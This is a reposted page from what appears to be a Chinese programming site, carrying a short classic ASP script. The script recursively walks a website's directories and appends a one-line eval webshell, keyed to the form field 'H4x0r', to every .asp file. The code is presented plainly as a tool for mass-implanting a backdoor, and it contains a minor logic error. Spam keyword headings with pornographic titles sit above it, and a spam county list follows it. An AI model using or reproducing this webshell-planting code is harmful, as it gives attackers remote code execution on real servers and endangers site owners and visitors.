国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > ASP > 正文

FSO遍歷目錄實現全站插馬的代碼

2024-05-04 11:01:33
字體:
來源:轉載
供稿:網友
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/") 
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next 
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)

Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<% 
call InsertAllFiles(ph)
%>
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 武宁县| 东方市| 金塔县| 延安市| 固安县| 博乐市| 沙湾县| 绥化市| 玛多县| 八宿县| 百色市| 张家界市| 驻马店市| 丰顺县| 威远县| 贵阳市| 拉萨市| 伊川县| 麟游县| 宜章县| 伊金霍洛旗| 沙洋县| 丰台区| 郧西县| 蓝山县| 永平县| 辽中县| 红河县| 东莞市| 云南省| 炉霍县| 岑巩县| 慈利县| 白城市| 平陆县| 涞源县| 连江县| 田林县| 平远县| 莒南县| 平远县|